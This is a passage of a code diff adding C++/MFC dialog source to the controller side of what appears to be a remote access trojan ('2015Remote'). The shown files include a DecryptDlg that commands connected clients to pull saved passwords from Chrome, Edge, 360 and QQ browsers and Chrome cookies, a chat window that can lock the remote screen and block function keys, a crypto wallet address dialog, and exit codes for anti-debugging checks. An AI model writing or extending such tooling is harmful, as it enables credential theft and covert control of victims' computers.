||||
m_EditADA.GetWindowTextA(a[ADDR_ADA]);
|
||||
m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
|
||||
m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
|
||||
m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
|
||||
|
||||
for (int i = 0; i < MAX_WALLET_NUM; ++i) {
|
||||
if (a[i].IsEmpty()) continue;
|
||||
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
|
||||
char tip[100];
|
||||
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
|
||||
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
}
|
||||
m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
|
||||
|
||||
__super::OnOK();
|
||||
}
|
||||
38
server/2015Remote/CWalletDlg.h
Normal file
38
server/2015Remote/CWalletDlg.h
Normal file
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
#include "LangManager.h"
|
||||
|
||||
// CWalletDlg 对话框
|
||||
|
||||
class CWalletDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CWalletDlg)
|
||||
|
||||
public:
|
||||
CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CWalletDlg();
|
||||
|
||||
CString m_str;
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_WALLET };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CEdit m_EditBTC;
|
||||
CEdit m_EditERC20;
|
||||
CEdit m_EditOMNI;
|
||||
CEdit m_EditTRC20;
|
||||
CEdit m_EditSOL;
|
||||
CEdit m_EditXRP;
|
||||
CEdit m_EditADA;
|
||||
CEdit m_EditDOGE;
|
||||
CEdit m_EditDOT;
|
||||
CEdit m_EditTRON;
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
};
|
||||
187
server/2015Remote/Chat.cpp
Normal file
187
server/2015Remote/Chat.cpp
Normal file
@@ -0,0 +1,187 @@
|
||||
// Chat.cpp : implementation file
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "Chat.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CChat dialog
|
||||
|
||||
|
||||
CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void CChat::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_TIP, m_editTip);
|
||||
DDX_Control(pDX, IDC_EDIT_NEWMSG, m_editNewMsg);
|
||||
DDX_Control(pDX, IDC_EDIT_CHATLOG, m_editChatLog);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CChat, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend)
|
||||
ON_BN_CLICKED(IDC_BUTTON_END, OnButtonEnd)
|
||||
ON_WM_CTLCOLOR()
|
||||
ON_WM_CLOSE()
|
||||
ON_EN_SETFOCUS(IDC_EDIT_CHATLOG, OnSetfocusEditChatLog)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_CHATLOG, OnKillfocusEditChatLog)
|
||||
ON_BN_CLICKED(IDC_LOCK, &CChat::OnBnClickedButton_LOCK)
|
||||
ON_BN_CLICKED(IDC_UNLOCK, &CChat::OnBnClickedButton_UNLOCK)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CCHAT message handlers
|
||||
|
||||
BOOL CChat::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
CString str;
|
||||
str.FormatL(_T("远程交谈 - %s"), m_ContextObject->GetPeerName().c_str()),
|
||||
SetWindowText(str);
|
||||
|
||||
// 设置控件文本(解决英语系统乱码问题)
|
||||
SetDlgItemText(IDC_BUTTON_SEND, _TR("发送消息"));
|
||||
SetDlgItemText(IDC_BUTTON_END, _TR("结束交谈"));
|
||||
SetDlgItemText(IDC_LOCK, _TR("锁定屏幕\n屏蔽功能键"));
|
||||
SetDlgItemText(IDC_UNLOCK, _TR("解除锁定"));
|
||||
|
||||
m_editTip.SetWindowTextL("提示: 对方聊天对话框在发送消息后才会弹出");
|
||||
m_editNewMsg.SetLimitText(4079);
|
||||
// TODO: Add extra initialization here
|
||||
BYTE bToken = COMMAND_NEXT_CHAT;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
void CChat::OnReceive()
|
||||
{
|
||||
}
|
||||
|
||||
void CChat::OnReceiveComplete()
|
||||
{
|
||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
|
||||
char* strResult = (char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _TRF("对方:"),
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult);
|
||||
if (m_editChatLog.GetWindowTextLength() >= 20000)
|
||||
m_editChatLog.SetWindowText(_T(""));
|
||||
m_editChatLog.SetSel(-1);
|
||||
m_editChatLog.ReplaceSel(Text);
|
||||
}
|
||||
|
||||
void CChat::OnButtonSend()
|
||||
{
|
||||
char str[4096];
|
||||
GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||
if (_tcscmp(str, _T("")) == 0) {
|
||||
m_editNewMsg.SetFocus();
|
||||
return; // 发送消息为空不处理
|
||||
}
|
||||
m_editTip.ShowWindow(SW_HIDE);
|
||||
m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _TRF("自己:"),
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||
if (m_editChatLog.GetWindowTextLength() >= 20000)
|
||||
m_editChatLog.SetWindowText(_T(""));
|
||||
m_editChatLog.SetSel(-1);
|
||||
m_editChatLog.ReplaceSel(Text);
|
||||
m_editNewMsg.SetWindowText(_T(""));
|
||||
m_editNewMsg.SetFocus();
|
||||
}
|
||||
|
||||
void CChat::OnButtonEnd()
|
||||
{
|
||||
SendMessage(WM_CLOSE, 0, 0);
|
||||
}
|
||||
|
||||
void CChat::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) {
|
||||
COLORREF clr = RGB(0, 0, 0);
|
||||
pDC->SetTextColor(clr); // 设置黑色的文本
|
||||
clr = RGB(255, 255, 255);
|
||||
pDC->SetBkColor(clr); // 设置白色的背景
|
||||
return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄
|
||||
} else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) {
|
||||
COLORREF clr = RGB(255, 0, 0);
|
||||
pDC->SetTextColor(clr); // 设置红色的文本
|
||||
clr = RGB(220, 220, 0);
|
||||
pDC->SetBkColor(clr); // 设置黄色的背景
|
||||
return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄
|
||||
} else {
|
||||
return __super::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
}
|
||||
}
|
||||
|
||||
void CChat::PostNcDestroy()
|
||||
{
|
||||
if (!m_bIsClosed)
|
||||
OnCancel();
|
||||
__super::PostNcDestroy();
|
||||
}
|
||||
|
||||
BOOL CChat::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_ESCAPE) {
|
||||
return true;
|
||||
}
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CChat::OnSetfocusEditChatLog()
|
||||
{
|
||||
if (m_editTip.IsWindowVisible())
|
||||
m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
|
||||
}
|
||||
|
||||
void CChat::OnKillfocusEditChatLog()
|
||||
{
|
||||
if (m_editTip.IsWindowVisible())
|
||||
m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_LOCK()
|
||||
{
|
||||
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_UNLOCK()
|
||||
{
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
45
server/2015Remote/Chat.h
Normal file
45
server/2015Remote/Chat.h
Normal file
@@ -0,0 +1,45 @@
|
||||
#pragma once
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CChat dialog
|
||||
|
||||
class CChat : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
|
||||
enum { IDD = IDD_CHAT };
|
||||
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual void PostNcDestroy();
|
||||
virtual void OnClose();
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnButtonSend();
|
||||
afx_msg void OnButtonEnd();
|
||||
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
afx_msg void OnSetfocusEditChatLog();
|
||||
afx_msg void OnKillfocusEditChatLog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
public:
|
||||
CEdit m_editTip;
|
||||
CEdit m_editNewMsg;
|
||||
CEdit m_editChatLog;
|
||||
|
||||
afx_msg void OnBnClickedButton_LOCK();
|
||||
afx_msg void OnBnClickedButton_UNLOCK();
|
||||
};
|
||||
157
server/2015Remote/CrashReport.h
Normal file
157
server/2015Remote/CrashReport.h
Normal file
@@ -0,0 +1,157 @@
|
||||
#pragma once
|
||||
// CrashReport.h - 崩溃报告相关定义
|
||||
// 集中管理配置键名、退出代码等,提高可维护性
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// ============================================
|
||||
// 配置键名定义 - [crash] section
|
||||
// ============================================
|
||||
#define CFG_CRASH_SECTION "crash"
|
||||
|
||||
// 崩溃统计(永久)
|
||||
#define CFG_CRASH_COUNT "count" // 总崩溃次数
|
||||
#define CFG_CRASH_LAST_TIME "lastTime" // 最后崩溃时间
|
||||
#define CFG_CRASH_LAST_CODE "lastCode" // 最后退出代码
|
||||
#define CFG_CRASH_LAST_RUN_MS "lastRunMs" // 最后运行时间(ms), string存储uint64
|
||||
|
||||
// MTBF 统计(永久)
|
||||
#define CFG_CRASH_STARTS "starts" // 启动次数
|
||||
#define CFG_CRASH_TOTAL_RUN_MS "totalRunMs" // 累计运行时间(ms), string存储uint64
|
||||
|
||||
// 崩溃窗口状态(临时,窗口过期或系统重启后清除)
|
||||
#define CFG_CRASH_WIN_COUNT "winCount" // 窗口期内崩溃次数
|
||||
#define CFG_CRASH_WIN_START "winStart" // 窗口起始时间(ms, GetTickCount64)
|
||||
|
||||
// 崩溃保护标志(一次性,程序启动时读取并清除)
|
||||
#define CFG_CRASH_PROTECTED "protected" // 崩溃保护标志
|
||||
|
||||
// ============================================
|
||||
// 特殊退出代码
|
||||
// ============================================
|
||||
#define EXIT_CODE_UNKNOWN 0xFFFFFFFF // 无法获取退出代码
|
||||
|
||||
// 自定义退出代码范围 (1000-1999)
|
||||
#define EXIT_CODE_CUSTOM_BASE 1000
|
||||
#define EXIT_NORMAL 0
|
||||
#define EXIT_CONFIG_ERROR 1001
|
||||
#define EXIT_NETWORK_ERROR 1002
|
||||
#define EXIT_AUTH_FAILED 1003
|
||||
#define EXIT_RESTART_REQUEST 1004
|
||||
#define EXIT_MANUAL_STOP 1005
|
||||
|
||||
// 客户端特定退出代码 (1006-1020)
|
||||
#define EXIT_CONNECTION_LIMIT 1006 // 连接数超限
|
||||
#define EXIT_TIME_TAMPERED 1007 // 时间篡改检测
|
||||
#define EXIT_HARDWARE_ERROR 1008 // 硬件信息获取失败
|
||||
#define EXIT_TIMING_CHECK 1009 // 时序检测失败(反调试)
|
||||
#define EXIT_EVENT_ERROR 1010 // 事件打开失败
|
||||
#define EXIT_VERIFY_LOOP 1011 // 验证循环失败
|
||||
#define EXIT_AUTH_RANDOM 1012 // 授权相关随机终止
|
||||
|
||||
// ============================================
|
||||
// Windows 异常代码
|
||||
// ============================================
|
||||
#define EXCEPTION_ACCESS_VIOLATION_CODE 0xC0000005
|
||||
#define EXCEPTION_INT_DIVIDE_BY_ZERO_CODE 0xC0000094
|
||||
#define EXCEPTION_STACK_OVERFLOW_CODE 0xC00000FD
|
||||
#define EXCEPTION_STACK_BUFFER_OVERRUN_CODE 0xC0000409
|
||||
#define EXCEPTION_ILLEGAL_INSTRUCTION_CODE 0xC000001D
|
||||
#define EXCEPTION_NONCONTINUABLE_CODE 0xC0000025
|
||||
#define EXCEPTION_BREAKPOINT_CODE 0x80000003
|
||||
|
||||
// ============================================
|
||||
// 退出代码描述
|
||||
// ============================================
|
||||
inline const char* GetExitCodeDescription(DWORD exitCode)
|
||||
{
|
||||
switch (exitCode) {
|
||||
// Windows 异常
|
||||
case EXCEPTION_ACCESS_VIOLATION_CODE: return "ACCESS_VIOLATION";
|
||||
case EXCEPTION_INT_DIVIDE_BY_ZERO_CODE: return "INTEGER_DIVIDE_BY_ZERO";
|
||||
case EXCEPTION_STACK_OVERFLOW_CODE: return "STACK_OVERFLOW";
|
||||
case EXCEPTION_STACK_BUFFER_OVERRUN_CODE: return "STACK_BUFFER_OVERRUN";
|
||||
case EXCEPTION_ILLEGAL_INSTRUCTION_CODE: return "ILLEGAL_INSTRUCTION";
|
||||
case EXCEPTION_NONCONTINUABLE_CODE: return "NONCONTINUABLE_EXCEPTION";
|
||||
case EXCEPTION_BREAKPOINT_CODE: return "BREAKPOINT";
|
||||
// 自定义退出代码
|
||||
case EXIT_NORMAL: return "NORMAL";
|
||||
case EXIT_CONFIG_ERROR: return "CONFIG_ERROR";
|
||||
case EXIT_NETWORK_ERROR: return "NETWORK_ERROR";
|
||||
case EXIT_AUTH_FAILED: return "AUTH_FAILED";
|
||||
case EXIT_RESTART_REQUEST: return "RESTART_REQUEST";
|
||||
case EXIT_MANUAL_STOP: return "MANUAL_STOP";
|
||||
// 客户端特定退出代码
|
||||
case EXIT_CONNECTION_LIMIT: return "CONNECTION_LIMIT";
|
||||
case EXIT_TIME_TAMPERED: return "TIME_TAMPERED";
|
||||
case EXIT_HARDWARE_ERROR: return "HARDWARE_ERROR";
|
||||
case EXIT_TIMING_CHECK: return "TIMING_CHECK";
|
||||
case EXIT_EVENT_ERROR: return "EVENT_ERROR";
|
||||
case EXIT_VERIFY_LOOP: return "VERIFY_LOOP";
|
||||
case EXIT_AUTH_RANDOM: return "AUTH_RANDOM";
|
||||
// 特殊值
|
||||
case EXIT_CODE_UNKNOWN: return "UNKNOWN";
|
||||
default: return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// 判断是否为异常退出(崩溃)
|
||||
inline BOOL IsExceptionExitCode(DWORD exitCode)
|
||||
{
|
||||
// Windows 异常代码通常以 0xC0000000 或 0x80000000 开头
|
||||
return (exitCode & 0xC0000000) != 0;
|
||||
}
|
||||
|
||||
// 判断是否为自定义退出代码
|
||||
inline BOOL IsCustomExitCode(DWORD exitCode)
|
||||
{
|
||||
return exitCode >= EXIT_CODE_CUSTOM_BASE && exitCode < EXIT_CODE_CUSTOM_BASE + 1000;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MTBF 计算辅助函数
|
||||
// ============================================
|
||||
|
||||
// 计算 MTBF (Mean Time Between Failures)
|
||||
// 返回值单位:毫秒,如果无法计算返回 0
|
||||
inline ULONGLONG CalculateMTBF(ULONGLONG totalRuntimeMs, int crashCount)
|
||||
{
|
||||
if (crashCount <= 0) {
|
||||
return 0; // 无崩溃,无法计算 MTBF
|
||||
}
|
||||
return totalRuntimeMs / (ULONGLONG)crashCount;
|
||||
}
|
||||
|
||||
// 计算失败率 (Failure Rate)
|
||||
// 返回值:崩溃次数 / 启动次数,如果无法计算返回 -1.0
|
||||
inline double CalculateFailureRate(int crashCount, int startCount)
|
||||
{
|
||||
if (startCount <= 0) {
|
||||
return -1.0; // 无法计算
|
||||
}
|
||||
return (double)crashCount / (double)startCount;
|
||||
}
|
||||
|
||||
// 格式化运行时间为可读字符串
|
||||
// 例如: "5d 3h 29m" 或 "2h 15m 30s"
|
||||
inline void FormatRuntime(ULONGLONG runtimeMs, char* buffer, size_t bufferSize)
|
||||
{
|
||||
ULONGLONG seconds = runtimeMs / 1000;
|
||||
ULONGLONG minutes = seconds / 60;
|
||||
ULONGLONG hours = minutes / 60;
|
||||
ULONGLONG days = hours / 24;
|
||||
|
||||
seconds %= 60;
|
||||
minutes %= 60;
|
||||
hours %= 24;
|
||||
|
||||
if (days > 0) {
|
||||
sprintf_s(buffer, bufferSize, "%llud %lluh %llum", days, hours, minutes);
|
||||
} else if (hours > 0) {
|
||||
sprintf_s(buffer, bufferSize, "%lluh %llum %llus", hours, minutes, seconds);
|
||||
} else if (minutes > 0) {
|
||||
sprintf_s(buffer, bufferSize, "%llum %llus", minutes, seconds);
|
||||
} else {
|
||||
sprintf_s(buffer, bufferSize, "%llus", seconds);
|
||||
}
|
||||
}
|
||||
126
server/2015Remote/DecryptDlg.cpp
Normal file
126
server/2015Remote/DecryptDlg.cpp
Normal file
@@ -0,0 +1,126 @@
|
||||
#include "stdafx.h"
|
||||
#include "DecryptDlg.h"
|
||||
|
||||
|
||||
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
|
||||
|
||||
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT)
|
||||
{
|
||||
}
|
||||
|
||||
DecryptDlg::~DecryptDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void DecryptDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_DECRYPT_RESULT, m_EditDecrypedResult);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(DecryptDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_COMMAND(ID_DECRYPT_CHROME, &DecryptDlg::OnDecryptChrome)
|
||||
ON_COMMAND(ID_DECRYPT_EDGE, &DecryptDlg::OnDecryptEdge)
|
||||
ON_COMMAND(ID_DECRYPT_SPEED360, &DecryptDlg::OnDecryptSpeed360)
|
||||
ON_COMMAND(ID_DECRYPT_360, &DecryptDlg::OnDecrypt360)
|
||||
ON_COMMAND(ID_DECRYPT_QQ, &DecryptDlg::OnDecryptQQ)
|
||||
ON_COMMAND(ID_DECRYPT_CHROMECOOKIES, &DecryptDlg::OnDecryptChromeCookies)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// DecryptDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL DecryptDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
CString str;
|
||||
str.FormatL("%s - 解密数据", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
m_EditDecrypedResult.SetWindowText(_TR("<<< 提示: 请在菜单选择解密类型 >>>") + CString("\r\n"));
|
||||
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
|
||||
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
VOID DecryptDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_ContextObject == NULL) {
|
||||
return;
|
||||
}
|
||||
auto result = m_ContextObject->GetBuffer(1);
|
||||
m_EditDecrypedResult.SetWindowTextA(CString(result));
|
||||
}
|
||||
|
||||
void DecryptDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
void DecryptDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialogBase::OnSize(nType, cx, cy);
|
||||
if (m_EditDecrypedResult.GetSafeHwnd()) {
|
||||
m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // 占满整个对话框
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptChrome()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptEdge()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptSpeed360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecrypt360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptQQ()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptChromeCookies()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
34
server/2015Remote/DecryptDlg.h
Normal file
34
server/2015Remote/DecryptDlg.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "Resource.h"
|
||||
|
||||
class DecryptDlg : public CDialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(DecryptDlg)
|
||||
|
||||
public:
|
||||
DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
virtual ~DecryptDlg();
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_DECRYPT };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDecryptChrome();
|
||||
afx_msg void OnDecryptEdge();
|
||||
afx_msg void OnDecryptSpeed360();
|
||||
afx_msg void OnDecrypt360();
|
||||
afx_msg void OnDecryptQQ();
|
||||
afx_msg void OnDecryptChromeCookies();
|
||||
CEdit m_EditDecrypedResult;
|
||||
};
|
||||
59
server/2015Remote/EditDialog.cpp
Normal file
59
server/2015Remote/EditDialog.cpp
Normal file
@@ -0,0 +1,59 @@
|
||||
// EditDialog.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "EditDialog.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CEditDialog 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CEditDialog, CDialog)
|
||||
|
||||
CEditDialog::CEditDialog(CWnd* pParent)
|
||||
: CDialogLang(CEditDialog::IDD, pParent)
|
||||
, m_EditString(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CEditDialog::~CEditDialog()
|
||||
{
|
||||
}
|
||||
|
||||
void CEditDialog::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_STRING, m_EditString);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CEditDialog, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CEditDialog::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CEditDialog 消息处理程序
|
||||
|
||||
BOOL CEditDialog::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CEditDialog::OnBnClickedOk()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
|
||||
UpdateData(TRUE);
|
||||
if (m_EditString.IsEmpty()) {
|
||||
MessageBeep(0);
|
||||
return; //不关闭对话框
|
||||
}
|
||||
__super::OnOK();
|
||||
}
|
||||
25
server/2015Remote/EditDialog.h
Normal file
25
server/2015Remote/EditDialog.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
#include "LangManager.h"
|
||||
|
||||
// CEditDialog 对话框
|
||||
|
||||
class CEditDialog : public CDialogLang
|
||||
{
|
||||
DECLARE_DYNAMIC(CEditDialog)
|
||||
|
||||
public:
|
||||
CEditDialog(CWnd* pParent = NULL); // 标准构造函数
|
||||
virtual ~CEditDialog();
|
||||
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_NEWFOLDER };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CString m_EditString;
|
||||
afx_msg void OnBnClickedOk();
|
||||
};
|
||||
201
server/2015Remote/FeatureFlags.h
Normal file
201
server/2015Remote/FeatureFlags.h
Normal file
@@ -0,0 +1,201 @@
|
||||
#pragma once
|
||||
|
||||
// ============================================================
|
||||
// FeatureFlags.h - Runtime Feature Flags for Sub-level Control
|
||||
// ============================================================
|
||||
//
|
||||
// This file defines the data structures and bit flags for
|
||||
// controlling which features are available to sub-level masters.
|
||||
//
|
||||
// These flags are written into g_UpperHash[164-255] when
|
||||
// generating a sub-level master program (92 bytes total).
|
||||
//
|
||||
// ============================================================
|
||||
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#define FEATURE_FLAGS_VERSION "FLG1"
|
||||
#define FEATURE_FLAGS_OFFSET 164 // Offset in g_UpperHash
|
||||
|
||||
#pragma pack(push, 1)
|
||||
typedef struct FeatureFlags {
|
||||
char Version[4]; // "FLG1" version identifier
|
||||
uint64_t MenuFlags; // Main menu flags (64 bits)
|
||||
uint64_t ToolbarFlags; // Toolbar flags (64 bits)
|
||||
uint64_t ContextFlags; // Context menu flags (64 bits)
|
||||
char Reserved[64]; // Reserved for future use
|
||||
} FeatureFlags; // 4 + 8 + 8 + 8 + 64 = 92 bytes
|
||||
#pragma pack(pop)
|
||||
|
||||
|
||||
// ============================================================
|
||||
// MenuFlags bit definitions (corresponds to HIDE_MENU_* macros)
|
||||
// ============================================================
|
||||
|
||||
// File menu [0-3]
|
||||
#define MF_SETTINGS (1ULL << 0) // HIDE_MENU_SETTINGS
|
||||
